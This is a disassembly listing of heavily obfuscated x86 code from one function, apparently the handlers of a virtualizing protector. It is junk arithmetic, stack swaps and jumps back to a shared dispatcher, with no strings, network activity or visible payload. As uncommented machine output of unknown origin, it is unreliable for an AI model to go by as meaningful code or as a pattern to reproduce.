		xchg	ecx, [esp+7Ch+var_7C]
		pop	esp
		push	edx
		mov	dl, bh
		push	ecx
		push	78Bh
		mov	[esp+84h+var_84], eax
		mov	ah, dl
		jmp	loc_58B954
; ---------------------------------------------------------------------------


loc_589F30:				; CODE XREF: sub_57DD3A+A2CDj
		push	4D10h
		mov	[esp+58h+var_58], esp
		add	[esp+58h+var_58], 4
		pop	ecx
		push	esi
		mov	esi, 46126764h
		add	esi, 0B9ED98A0h
		jmp	loc_584910
; ---------------------------------------------------------------------------


loc_589F4E:				; CODE XREF: sub_57DD3A+4E51j
		pop	esp
		push	1ADCh
		mov	[esp+54h+var_54], ecx
		mov	ecx, esp
		push	7488h
		mov	[esp+58h+var_58], eax
		jmp	loc_584ECC
; ---------------------------------------------------------------------------


loc_589F66:				; CODE XREF: sub_57DD3A+93DFj
		add	edi, 2F16FF2h
		xor	edi, 5BFAC65Fh
		jmp	loc_5836D3
; ---------------------------------------------------------------------------


loc_589F77:				; CODE XREF: sub_57DD3A+DC64j
		mov	esp, [esp+0C8h+var_C8]
		jmp	loc_5899AF
; ---------------------------------------------------------------------------


loc_589F7F:				; CODE XREF: sub_57DD3A+6B18j
		add	esp, 4
		add	esp, 4
		push	edx
		jmp	loc_586437
; ---------------------------------------------------------------------------


loc_589F91:				; CODE XREF: sub_57DD3A+69BEj
		xor	[esp+5Ah+var_5C+2], ebx
		xor	ebx, [esp+5Ah+var_5C+2]
		mov	esp, [esp+5Ah+var_5C+2]
		jmp	loc_58617D
; ---------------------------------------------------------------------------


loc_589F9F:				; CODE XREF: sub_57DD3A+6D3Bj
		push	esi
		mov	esi, 11C215ADh
		jmp	loc_582D7F
; ---------------------------------------------------------------------------


loc_589FAA:				; CODE XREF: sub_57DD3A+5824j
		mov	bl, 8Dh
		jmp	loc_5874E1
; ---------------------------------------------------------------------------


loc_589FB1:				; CODE XREF: sub_57DD3A+7B7Cj
		add	esp, 4
		xor	eax, ecx
		push	[esp+0D4h+var_D4]
		pop	ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_58CFB9
; ---------------------------------------------------------------------------


loc_589FCB:				; CODE XREF: sub_57DD3A+DEC3j
		push	ebp
		jmp	loc_58BE3F
; ---------------------------------------------------------------------------


loc_589FD1:				; CODE XREF: sub_57DD3A+E3C7j
		mov	ecx, 48CA27D4h
		inc	ecx
		and	ecx, 39D02C5Fh
		jmp	loc_5827EE
; ---------------------------------------------------------------------------


loc_589FE2:				; CODE XREF: sub_57DD3A+AFE5j
		sub	ebx, eax
		sub	esp, 4
		mov	[esp+8Ch+var_8C], ecx
		jmp	loc_589D1B
; ---------------------------------------------------------------------------


loc_589FEF:				; CODE XREF: sub_57DD3A+7E14j
		mov	cl, dl
		jmp	loc_584B25
; ---------------------------------------------------------------------------
		push	[esp+54h+var_50]
		push	[esp+58h+var_58]
		pop	eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+5Ch+var_5C]
		jmp	loc_583C4D
; ---------------------------------------------------------------------------


loc_58A015:				; CODE XREF: sub_57DD3A+AEAFj
		mov	[esp+96h+var_98+2], eax
		mov	eax, 4
		mov	esi, eax
		pop	eax
		add	ebp, esi
		mov	esi, [esp+92h+var_94+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_58BED0
; ---------------------------------------------------------------------------


loc_58A033:				; CODE XREF: sub_57DD3A+F3C2j
		add	esp, 4
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		push	edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		jmp	loc_58B5AD
; ---------------------------------------------------------------------------


loc_58A050:				; CODE XREF: sub_57DD3A+7F37j
		add	cl, 92h
		add	al, 23h
		sub	al, 48h
		sub	al, cl
		add	al, 48h
		jmp	loc_586BDB
; ---------------------------------------------------------------------------


loc_58A060:				; CODE XREF: sub_57DD3A+EFC6j
		mov	esi, 49714625h
		add	[esp+6Eh+var_6C+2], esi
		jmp	loc_585308
; ---------------------------------------------------------------------------


loc_58A06E:				; CODE XREF: sub_57DD3A+D102j
		mov	eax, esi
		pop	esi
		push	[esp+6Ah+var_6C+2]
		jmp	loc_586E4C
; ---------------------------------------------------------------------------


loc_58A079:				; CODE XREF: sub_57DD3A+641Dj
		add	eax, ebx
		push	[esp+88h+var_88]
		pop	ebx
		add	esp, 4
		xchg	eax, [esp+84h+var_84]
		mov	esp, [esp+84h+var_84]
		ror	word ptr [esp+84h+var_84], cl
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58A095:				; CODE XREF: sub_57DD3A+E1C2j
		push	[esp+88h+var_84]
		mov	ecx, [esp+8Ch+var_8C]
		add	esp, 4
		pop	[esp+88h+var_88]
		jmp	loc_582A01
; ---------------------------------------------------------------------------


loc_58A0A7:				; CODE XREF: sub_57DD3A+84DCj
		xor	eax, edx
		push	[esp+8Ch+var_8C]
		jmp	loc_585A84
; ---------------------------------------------------------------------------


loc_58A0B1:				; CODE XREF: sub_57DD3A+F886j
		mov	ecx, 4
		add	edx, 667725F2h
		add	edx, 4A3A0D4Dh
		jmp	loc_58740C
; ---------------------------------------------------------------------------


loc_58A0C7:				; CODE XREF: sub_57DD3A+FBF4j
		mov	ecx, 40E9562Bh
		add	ecx, 2330DD11h
		sub	ebx, ecx
		pop	ecx
		add	ebx, ebp
		add	ebx, 641A333Ch
		mov	ebp, [esp+8Ch+var_8C]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5894E8
; ---------------------------------------------------------------------------


loc_58A0EE:				; CODE XREF: sub_57DD3A+E83Ej
		add	ebx, 4
		xchg	ebx, [esp+90h+var_90]
		pop	esp
		jmp	loc_586D2C
; ---------------------------------------------------------------------------


loc_58A0FD:				; CODE XREF: sub_57DD3A+7A8Ej
		sub	ecx, 36F18F57h
		mov	eax, ecx
		pop	ecx
		add	eax, 0A91E9F6Fh
		add	ebx, eax
		mov	eax, [esp+76h+var_78+2]
		add	esp, 4
		push	ebp
		mov	ebp, 70EF4B92h
		sub	ebp, 7BC63940h
		xor	ebp, 0F5291250h
		add	ebx, ebp
		pop	ebp
		xor	ebx, [esp+72h+var_74+2]
		xor	[esp+72h+var_74+2], ebx
		xor	ebx, [esp+72h+var_74+2]
		pop	esp
		sar	byte ptr [esp+6Eh+var_70+2], cl
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58A13E:				; CODE XREF: sub_57DD3A+EC2Fj
		mov	eax, [esp+72h+var_74+2]
		jmp	loc_585971
; ---------------------------------------------------------------------------


loc_58A146:				; CODE XREF: sub_57DD3A+FB0Dj
		push	ecx
		mov	ecx, 3A19287Ch
		sub	ebx, ecx
		pop	ecx
		jmp	loc_58D0E4
; ---------------------------------------------------------------------------


loc_58A154:				; CODE XREF: sub_57DD3A+509Ej
		push	edx
		mov	edx, 4
		add	ebp, edx
		jmp	loc_586E25
; ---------------------------------------------------------------------------


loc_58A161:				; CODE XREF: sub_57DD3A+7549j
		sub	edx, 4C5A1BB4h
		jmp	loc_588D8B
; ---------------------------------------------------------------------------


loc_58A16C:				; CODE XREF: sub_57DD3A+9C1Dj
		mov	esi, [esp+0A0h+var_A0]
		add	esp, 4
		add	esp, 4
		jmp	loc_582CD4
; ---------------------------------------------------------------------------


loc_58A17D:				; CODE XREF: sub_57DD3A+85FBj
		or	eax, eax
		jz	loc_58485E
		push	dword ptr [edi+1Ch]
		jmp	loc_58BF1C
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp+7Ah+var_7C+2], edx
		push	7D06703Eh
		push	[esp+7Eh+var_80+2]
		pop	edx
		add	esp, 4
		push	edi
		jmp	loc_5820F0
; ---------------------------------------------------------------------------


loc_58A1A5:				; CODE XREF: sub_57DD3A+8BE4j
		push	ebx
		jmp	loc_58DBDA
; ---------------------------------------------------------------------------


loc_58A1AB:				; CODE XREF: sub_57DD3A+4AF6j
		xchg	ebp, edx
		dec	ebp
		xor	edx, ebp
		jmp	loc_58DF35
; ---------------------------------------------------------------------------


loc_58A1B5:				; CODE XREF: sub_57DD3A+ADB6j
		or	eax, eax
		jz	loc_58DC7D
		push	1AA6h
		mov	[esp+90h+var_90], ecx
		sub	esp, 4
		mov	[esp+94h+var_94], edi
		mov	edi, 0FEh
		push	edi
		jmp	loc_58A92F
; ---------------------------------------------------------------------------


loc_58A1D6:				; CODE XREF: sub_57DD3A+DF4Aj
		push	64B8h
		mov	[esp+9Ch+var_9C], esi
		mov	esi, 962DA31Ah
		sub	edx, 71071F0Bh
		sub	edx, esi
		add	edx, 71071F0Bh
		mov	esi, [esp+9Ch+var_9C]
		add	esp, 4
		add	ebx, edx
		push	[esp+98h+var_98]
		jmp	loc_58D94A
; ---------------------------------------------------------------------------


loc_58A204:				; CODE XREF: sub_57DD3A+B229j
		push	7B16h
		mov	[esp+0BCh+var_BC], edi
		mov	edi, 4
		push	edi
		mov	edi, 352F7DA2h
		dec	edi
		jmp	loc_582A42
; ---------------------------------------------------------------------------


loc_58A21D:				; CODE XREF: sub_57DD3A+6114j
		pop	edi
		push	1A73h
		mov	[esp+9Ch+var_9C], ecx
		mov	ecx, 17C10A7h
		add	ecx, 0FE83EF5Bh
		push	1EA0h
		mov	[esp+0A0h+var_A0], esi
		mov	esi, 5268257Ch
		sub	ebp, esi
		pop	esi
		add	ebp, ecx
		add	ebp, 5268257Ch
		pop	ecx
		xor	ebp, [esp+98h+var_98]
		jmp	loc_583B43
; ---------------------------------------------------------------------------


loc_58A252:				; CODE XREF: sub_57DD3A+8B0Fj
		push	esp
		jmp	loc_58DBB4
; ---------------------------------------------------------------------------


loc_58A258:				; CODE XREF: sub_57DD3A+719Cj
		add	ecx, eax
		pop	eax
		push	81Eh
		mov	[esp+6Eh+var_70+2], edx
		mov	edx, 4
		sub	ecx, edx
		mov	edx, [esp+6Eh+var_70+2]
		push	ebx
		push	esp
		mov	ebx, [esp+76h+var_78+2]
		add	esp, 4
		add	ebx, 4
		jmp	loc_584F43
; ---------------------------------------------------------------------------
		push	[esp+72h+var_74+2]
		push	[esp+76h+var_78+2]
		pop	ecx
		jmp	loc_58D873
; ---------------------------------------------------------------------------


loc_58A28C:				; CODE XREF: sub_57DD3A+DA9Dj
		mov	[esp+76h+var_78+2], edx
		mov	edx, esp
		add	edx, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_586C63
; ---------------------------------------------------------------------------


loc_58A2A5:				; CODE XREF: sub_57DD3A+1008Ej
		add	esp, 4
		and	eax, ebp
		pop	ebp
		jmp	loc_58CA81
; ---------------------------------------------------------------------------


loc_58A2B0:				; CODE XREF: sub_57DD3A+7C92j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0BCh+var_BC]
		pop	esp
		push	ebx
		push	29643FB9h
		mov	ebx, [esp+0C0h+var_C0]
		add	esp, 4
		push	464Dh
		mov	[esp+0C0h+var_C0], ebx
		not	[esp+0C0h+var_C0]
		push	[esp+0C0h+var_C0]
		mov	ebx, [esp+0C4h+var_C4]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xor	eax, [esp+0C4h+var_C4]
		xor	[esp+0C4h+var_C4], eax
		xor	eax, [esp+0C4h+var_C4]
		jmp	loc_5833C3
; ---------------------------------------------------------------------------


loc_58A2FB:				; CODE XREF: sub_57DD3A+B1D1j
		add	ebp, 78EC4674h
		add	ebp, eax
		sub	ebp, 78EC4674h
		pop	eax
		sub	ebp, 111E6944h
		sub	ebp, 499158F3h
		add	ebp, 29360666h
		add	ebp, 3E107CB0h
		xor	edx, ebp
		pop	ebp
		or	ecx, ecx
		jz	loc_58B639
		push	esp
		push	[esp+98h+var_98]
		jmp	loc_588E52
; ---------------------------------------------------------------------------


loc_58A336:				; CODE XREF: sub_57DD3A+8FB6j
		add	ebx, 0F5F81443h
		mov	eax, ebx
		pop	ebx
		jmp	loc_58CC51
; ---------------------------------------------------------------------------


loc_58A344:				; CODE XREF: sub_57DD3A+8CADj
		xchg	edi, [esp+88h+var_88]
		mov	esp, [esp+88h+var_88]
		push	edi
		mov	edi, esp
		jmp	loc_586B61
; ---------------------------------------------------------------------------


loc_58A352:				; CODE XREF: sub_57DD3A+CC5Ej
		add	eax, ecx
		jmp	loc_5825E2
; ---------------------------------------------------------------------------


loc_58A359:				; CODE XREF: sub_57DD3A+598Dj
		pop	edi
		jmp	loc_58BC1E
; ---------------------------------------------------------------------------


loc_58A35F:				; CODE XREF: sub_57DD3A+B9DFj
		and	esi, 47E1522Bh
		neg	esi
		jmp	loc_584994
; ---------------------------------------------------------------------------


loc_58A36C:				; CODE XREF: sub_57DD3A+5953j
		mov	ebp, 5C1953D4h
		add	ebp, 23F56E3Fh
		jmp	loc_5893F0
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+0AAh+var_AC+2]
		push	6EA2h
		mov	[esp+0AEh+var_B0+2], eax
		push	esp
		pop	eax
		push	edx
		jmp	loc_587A9E
; ---------------------------------------------------------------------------


loc_58A390:				; CODE XREF: sub_57DD3A+B61Ej
		add	esp, 4
		add	ebp, 4
		push	ecx
		mov	ecx, 23DB11B7h
		shr	ecx, 3
		add	ecx, 0FFFFFFFFh
		and	ecx, 6D1D397Ch
		xor	ecx, 75275AE2h
		neg	ecx
		jmp	loc_5873BB
; ---------------------------------------------------------------------------


loc_58A3B8:				; CODE XREF: sub_57DD3A+DC9Fj
		add	eax, 534F0780h
		xor	eax, 17205982h
		sub	eax, 98BC44A0h
		mov	esi, eax
		pop	eax
		add	ebx, esi
		pop	esi
		push	edi
		mov	edi, 2
		jmp	loc_58DBAD
; ---------------------------------------------------------------------------


loc_58A3D8:				; CODE XREF: sub_57DD3A+5BA3j
		add	esp, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_587CD2
; ---------------------------------------------------------------------------


loc_58A3E6:				; CODE XREF: sub_57DD3A+B38Ej
		pop	dword ptr [edi+24h]


loc_58A3E9:				; CODE XREF: sub_57DD3A+3CDFj
		push	eax
		jmp	loc_582A90
; ---------------------------------------------------------------------------


loc_58A3EF:				; CODE XREF: sub_57DD3A+5525j
		add	ebp, ecx
		mov	ecx, [esp+5Ah+var_5C+2]
		jmp	loc_58755E
; ---------------------------------------------------------------------------


loc_58A3F9:				; CODE XREF: sub_57DD3A+DE86j
		pop	edx
		add	esp, 4
		add	esp, 4
		add	esp, 4
		jmp	loc_58BF68
; ---------------------------------------------------------------------------


loc_58A408:				; CODE XREF: sub_57DD3A+70ECj
		add	esp, 4
		xchg	eax, [esp+0D4h+var_D4]
		pop	esp
		push	[esp+0D0h+var_D0]
		jmp	loc_581C13
; ---------------------------------------------------------------------------


loc_58A417:				; CODE XREF: sub_57DD3A+D2C2j
		mov	ecx, esp
		push	ebp
		push	ecx
		jmp	loc_5838F3
; ---------------------------------------------------------------------------


loc_58A420:				; CODE XREF: sub_57DD3A+F6C5j
		pop	ecx
		add	al, 0A8h
		push	edx
		push	ecx
		mov	ch, 6Bh
		jmp	loc_583C6B
; ---------------------------------------------------------------------------


loc_58A42C:				; CODE XREF: sub_57DD3A+3F01j
		mov	ebp, [esp+84h+var_84]
		jmp	loc_5859D1
; ---------------------------------------------------------------------------
		lodsd
		push	ebp
		jmp	loc_586DD4
; ---------------------------------------------------------------------------


loc_58A43B:				; CODE XREF: sub_57DD3A+58B4j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+0CCh+var_CC]
		mov	esp, [esp+0CCh+var_CC]
		jmp	loc_58C7D5
; ---------------------------------------------------------------------------


loc_58A452:				; CODE XREF: sub_57DD3A+679Aj
		push	[esp+7Ah+var_7C+2]
		mov	eax, [esp+7Eh+var_80+2]
		jmp	loc_58C3E7
; ---------------------------------------------------------------------------


loc_58A45D:				; CODE XREF: sub_57DD3A+74A5j
		sub	cl, 89h
		add	bl, cl
		pop	ecx
		add	bl, 0Ah
		add	bl, al
		push	cx
		jmp	loc_58C207
; ---------------------------------------------------------------------------


loc_58A46F:				; CODE XREF: sub_57DD3A+B2ECj
		mov	ch, 31h
		sub	ch, 23h
		shl	ch, 8
		jmp	loc_58A6E0
; ---------------------------------------------------------------------------


loc_58A47C:				; CODE XREF: sub_57DD3A+D2D6j
		mov	ebx, ebp
		pop	ebp
		pop	esi
		sub	eax, ebx
		mov	ebx, [esp+98h+var_98]
		add	esp, 4
		push	264Ah
		jmp	loc_5857CD
; ---------------------------------------------------------------------------


loc_58A492:				; CODE XREF: sub_57DD3A+EE4Bj
		pop	ebp
		push	esi
		jmp	loc_586126
; ---------------------------------------------------------------------------


loc_58A499:				; CODE XREF: sub_57DD3A+BCD0j
		sub	edx, ebx
		pop	ebx
		pop	eax
		xor	edx, [esp+80h+var_80]
		jmp	loc_584294
; ---------------------------------------------------------------------------


loc_58A4A5:				; CODE XREF: sub_57DD3A+E99Ej
		push	8BB2492h
		push	[esp+84h+var_84]
		pop	edx
		jmp	loc_58D933
; ---------------------------------------------------------------------------


loc_58A4B3:				; CODE XREF: sub_57DD3A+EAC0j
		push	ebp
		mov	ebp, 121A3A80h
		sub	ebp, 0AF65EAC5h
		mov	ecx, ebp
		pop	ebp
		jmp	loc_588954
; ---------------------------------------------------------------------------


loc_58A4C7:				; CODE XREF: sub_57DD3A+7185j
		mov	word ptr [esp+6Eh+var_70+2], cx
		push	edx
		push	ecx
		mov	ch, 0BBh
		push	ebx
		jmp	loc_5850C3
; ---------------------------------------------------------------------------


loc_58A4D5:				; CODE XREF: sub_57DD3A+5626j
		mov	edi, [esp+0C8h+var_C8]
		add	esp, 4
		push	2F3Bh
		jmp	loc_58C4CE
; ---------------------------------------------------------------------------


loc_58A4E5:				; CODE XREF: sub_57DD3A+8CA2j
		mov	dl, 78h
		not	dl
		or	dl, 0B5h
		push	bx
		mov	bl, 45h
		sub	dl, bl
		pop	bx
		jmp	loc_5883DA
; ---------------------------------------------------------------------------


loc_58A4F9:				; CODE XREF: sub_57DD3A+9D56j
		and	eax, esi
		push	[esp+96h+var_98+2]
		jmp	loc_5870FE
; ---------------------------------------------------------------------------


loc_58A503:				; CODE XREF: sub_57DD3A+9883j
		pop	edx
		add	[esp+82h+var_80+2], 3F75722Eh
		add	[esp+82h+var_80+2], 2F7F510Fh
		sub	[esp+82h+var_80+2], edx
		sub	[esp+82h+var_80+2], 2F7F510Fh
		sub	[esp+82h+var_80+2], 3F75722Eh
		sub	[esp+82h+var_80+2], 62513B5Bh
		pop	edx
		push	[esp+7Eh+var_80+2]
		jmp	loc_58552D
; ---------------------------------------------------------------------------


loc_58A539:				; CODE XREF: sub_57DD3A+FFF5j
		sub	eax, esi
		mov	esi, [esp+82h+var_84+2]
		add	esp, 4
		sub	eax, 57517151h
		push	ebx
		push	esi
		push	edx
		push	esi
		jmp	loc_58D404
; ---------------------------------------------------------------------------


loc_58A54F:				; CODE XREF: sub_57DD3A+615Cj
		push	eax
		mov	eax, 0D426D55Bh
		sub	edx, eax
		jmp	loc_586779
; ---------------------------------------------------------------------------


loc_58A55C:				; CODE XREF: sub_57DD3A+EAE6j
		xchg	ebx, [esp+0ACh+var_AC]
		pop	esp
		add	esi, ebp
		pop	ebp
		add	esi, 2
		jmp	loc_584BD7
; ---------------------------------------------------------------------------


loc_58A56B:				; CODE XREF: sub_57DD3A+D065j
		inc	edi
		jmp	loc_58CC72
; ---------------------------------------------------------------------------


loc_58A571:				; CODE XREF: sub_57DD3A+633Dj
		push	ax
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58A579:				; CODE XREF: sub_57DD3A+77EEj
		add	esp, 4
		pop	[esp+76h+var_78+2]
		pop	esp
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58A585:				; CODE XREF: sub_57DD3A+515Cj
		mov	edi, ebp
		pop	ebp
		add	esi, edi
		pop	edi
		push	4555h
		mov	[esp+0A2h+var_A4+2], edx
		mov	edx, 7644D09h
		shr	edx, 8
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+0A6h+var_A8+2]
		pop	esp
		jmp	loc_58C408
; ---------------------------------------------------------------------------


loc_58A5B3:				; CODE XREF: sub_57DD3A+EC1Cj
		and	ecx, ebx
		jmp	loc_584365
; ---------------------------------------------------------------------------


loc_58A5BA:				; CODE XREF: sub_57DD3A+6BA9j
		push	40E4h
		mov	[esp+94h+var_94], esi
		mov	esi, esp
		add	esi, 4
		push	ebx
		mov	ebx, 18CA3E72h
		jmp	loc_5890D2
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+98h+var_98]
		jmp	loc_588FA8
; ---------------------------------------------------------------------------


loc_58A5DE:				; CODE XREF: sub_57DD3A+CD3Cj
		add	esp, 4
		add	edx, 4
		xor	edx, [esp+94h+var_94]
		xor	[esp+94h+var_94], edx
		xor	edx, [esp+94h+var_94]
		pop	esp
		mov	edx, [esp+90h+var_90]
		push	eax
		jmp	loc_588AF5
; ---------------------------------------------------------------------------


loc_58A5FA:				; CODE XREF: sub_57DD3A+3BF4j
		add	esp, 4
		push	1069h
		mov	[esp+52h+var_54+2], edi
		sub	esp, 4
		mov	[esp+56h+var_58+2], ebx
		mov	ebx, 4
		mov	edi, ebx
		pop	ebx
		jmp	loc_583015
; ---------------------------------------------------------------------------


loc_58A61E:				; CODE XREF: sub_57DD3A+EF71j
		add	dl, 68h
		jmp	loc_587234
; ---------------------------------------------------------------------------


loc_58A626:				; CODE XREF: sub_57DD3A+41A7j
		xor	esi, [esp+6Eh+var_70+2]
		xor	[esp+6Eh+var_70+2], esi
		xor	esi, [esp+6Eh+var_70+2]
		pop	esp
		add	byte ptr [esp+6Ah+var_6C+2], al
		pushf
		jmp	loc_584C23
; ---------------------------------------------------------------------------


loc_58A639:				; CODE XREF: sub_57DD3A+3FE0j
		mov	[esp+9Ch+var_9C], esi
		push	194Dh
		mov	[esp+0A0h+var_A0], esp
		add	[esp+0A0h+var_A0], 4
		mov	esi, [esp+0A0h+var_A0]
		add	esp, 4
		push	ecx
		mov	ecx, 71D12DF8h
		and	ecx, 79435134h
		push	ebp
		mov	ebp, 7141012Ch
		sub	ecx, 43CA3F5Fh
		sub	ecx, ebp
		add	ecx, 43CA3F5Fh
		pop	ebp
		jmp	loc_58BE2A
; ---------------------------------------------------------------------------


loc_58A67A:				; CODE XREF: sub_57DD3A+5C63j
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58A67F:				; CODE XREF: sub_57DD3A+CE70j
		add	ebx, esi
		sub	ebx, 61DD5D7Dh
		mov	esi, [esp+66h+var_68+2]
		add	esp, 4
		pop	ebp
		add	ebx, 15827312h
		add	ebx, eax
		sub	ebx, 15827312h
		sub	ebx, 564D7F42h
		push	1BC0h
		mov	[esp+62h+var_64+2], ebx
		jmp	loc_588FE3
; ---------------------------------------------------------------------------


loc_58A6AF:				; CODE XREF: sub_57DD3A+9801j
		push	5BFCh
		mov	[esp+82h+var_84+2], esi
		not	[esp+82h+var_84+2]
		mov	esi, [esp+82h+var_84+2]
		add	esp, 4
		push	eax
		mov	eax, 0D262339Ch
		jmp	loc_589334
; ---------------------------------------------------------------------------


loc_58A6CE:				; CODE XREF: sub_57DD3A+A403j
		add	edx, esi
		pop	esi
		push	ebx
		mov	ebx, 153975F5h
		shl	ebx, 8
		dec	ebx
		jmp	loc_58633A
; ---------------------------------------------------------------------------


loc_58A6E0:				; CODE XREF: sub_57DD3A+C73Dj
		dec	ch
		jmp	loc_58C1EE
; ---------------------------------------------------------------------------


loc_58A6E7:				; CODE XREF: sub_57DD3A+922Fj
		xor	ebp, 5F1F7258h
		add	ebp, 18F6152Bh
		sub	ebp, 3EB85819h
		xor	ebp, 0F5F6EC5Dh
		add	eax, ebp
		pop	ebp
		mov	ebp, eax
		mov	eax, [esp+62h+var_64+2]
		add	esp, 4
		push	ecx
		push	ebp
		mov	ebp, 63E46061h
		dec	ebp
		add	ebp, 0BE0AB1AAh
		mov	ecx, ebp
		jmp	loc_588A2C
; ---------------------------------------------------------------------------


loc_58A722:				; CODE XREF: sub_57DD3A+4200j
		push	edi
		mov	edi, 68C23A65h
		neg	edi
		or	edi, 63993801h
		xor	edi, 73501344h
		xor	edi, 84EDEEDDh
		sub	ebp, 0F6619AAh
		add	ebp, edi
		add	ebp, 0F6619AAh
		pop	edi
		push	ebp
		push	[esp+7Ah+var_78+2]
		mov	ebp, [esp+7Eh+var_80+2]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_58C0B2
; ---------------------------------------------------------------------------


loc_58A764:				; CODE XREF: sub_57DD3A+95AEj
		mov	[esp+68h+var_68], ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		add	ebp, 2C0B1D84h
		sub	ebp, ebx
		sub	ebp, 2C0B1D84h
		jmp	loc_585474
; ---------------------------------------------------------------------------


loc_58A788:				; CODE XREF: sub_57DD3A+A1F7j
		pop	ecx
		jmp	loc_585786
; ---------------------------------------------------------------------------


loc_58A78E:				; CODE XREF: sub_57DD3A+E310j
		sub	esp, 4
		jmp	loc_582CAB
; ---------------------------------------------------------------------------


loc_58A799:				; CODE XREF: sub_57DD3A+7BEDj
		pop	esp
		jmp	loc_585384
; ---------------------------------------------------------------------------


loc_58A79F:				; CODE XREF: sub_57DD3A+507Aj
		pop	esp
		jmp	loc_587D3A
; ---------------------------------------------------------------------------


loc_58A7A5:				; CODE XREF: sub_57DD3A+A36Cj
		btc	word ptr [esp+84h+var_84], ax
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58A7B0:				; CODE XREF: sub_57DD3A+4770j
		mov	bl, 0Ah
		or	bl, 16h
		shl	bl, 2
		jmp	loc_58400A
; ---------------------------------------------------------------------------


loc_58A7BD:				; CODE XREF: sub_57DD3A+4AFFj
		dec	ah
		mov	ch, ah
		pop	ax
		jmp	loc_58B780
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		adc	[esp+7Ah+var_7C+2], eax
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58A7D6:				; CODE XREF: sub_57DD3A+B2A4j
		mov	esp, [esp+5Eh+var_60+2]
		test	ecx, eax
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58A7E1:				; CODE XREF: sub_57DD3A+88FAj
		mov	[esp+6Eh+var_70+2], ebp
		mov	ebp, esp
		jmp	loc_584F76
; ---------------------------------------------------------------------------


loc_58A7EB:				; CODE XREF: sub_57DD3A+7E01j
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp+54h+var_54]
		mov	esp, [esp+54h+var_54]
		bswap	eax
		push	ecx
		push	esp
		mov	ecx, [esp+5Ch+var_5C]
		add	esp, 4
		jmp	loc_58D57C
; ---------------------------------------------------------------------------


loc_58A806:				; CODE XREF: sub_57DD3A+E0EBj
		push	ebp
		jmp	loc_58D135
; ---------------------------------------------------------------------------


loc_58A80C:				; CODE XREF: sub_57DD3A+4927j
		or	ecx, eax
		mov	eax, [esp+94h+var_94]
		add	esp, 4
		xchg	ebx, ecx
		inc	ebx
		xor	ecx, ebx
		xor	ebx, ecx
		xor	ecx, ebx
		add	ecx, 935F877Bh
		push	ebx
		jmp	loc_58A990
; ---------------------------------------------------------------------------


loc_58A82C:				; CODE XREF: sub_57DD3A+D74Ej
		add	esp, 4
		jmp	loc_588E8A
; ---------------------------------------------------------------------------


loc_58A834:				; CODE XREF: sub_57DD3A+9535j
		xor	ecx, 165D600Bh
		add	esi, ecx
		pop	ecx
		sub	esi, edi
		sub	esi, 720329BAh
		xchg	esi, edi
		pop	esi
		xor	edi, 5F5F35C0h
		and	eax, edi
		mov	edi, [esp+6Ch+var_6C]
		jmp	loc_5895E2
; ---------------------------------------------------------------------------


loc_58A858:				; CODE XREF: sub_57DD3A+E200j
		pop	esi
		sub	ecx, 1E7C40E6h
		sub	ecx, 739513AAh
		xor	ecx, 88F19C75h
		mov	edi, ecx
		jmp	loc_5866DB
; ---------------------------------------------------------------------------


loc_58A872:				; CODE XREF: sub_57DD3A+5055j
		sub	esi, 0DDB8DF49h
		xor	edx, esi
		push	[esp+92h+var_94+2]
		jmp	loc_583CD6
; ---------------------------------------------------------------------------


loc_58A882:				; CODE XREF: sub_57DD3A+85DCj
		xor	dl, al
		pop	ax
		add	al, 0DFh
		add	al, dl
		sub	al, 0DFh
		mov	edx, [esp+70h+var_70]
		jmp	loc_584148
; ---------------------------------------------------------------------------


loc_58A894:				; CODE XREF: sub_57DD3A+DA41j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp+74h+var_74]
		xor	[esp+74h+var_74], edx
		xor	edx, [esp+74h+var_74]
		mov	esp, [esp+74h+var_74]
		push	edx
		mov	edx, 0BF0263Ah
		push	ebp
		mov	ebp, 16FC4094h
		jmp	loc_5818D7
; ---------------------------------------------------------------------------


loc_58A8C0:				; CODE XREF: sub_57DD3A+CE5Cj
		xor	edx, [esp+7Ch+var_7C]
		xor	[esp+7Ch+var_7C], edx
		xor	edx, [esp+7Ch+var_7C]
		pop	esp
		jmp	loc_5869EC
; ---------------------------------------------------------------------------


loc_58A8CF:				; CODE XREF: sub_57DD3A+B3AAj
		pop	esp
		xor	esi, [esp+40h+var_42+2]
		xor	[esp+40h+var_42+2], esi
		xor	esi, [esp+40h+var_42+2]
		mov	esp, [esp+40h+var_42+2]
		mov	ax, word ptr [esp+40h+var_42+2]
		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		jmp	loc_584D0C
; ---------------------------------------------------------------------------


loc_58A8EA:				; CODE XREF: sub_57DD3A+D9DFj
		add	ecx, eax
		pop	eax
		add	ecx, 4
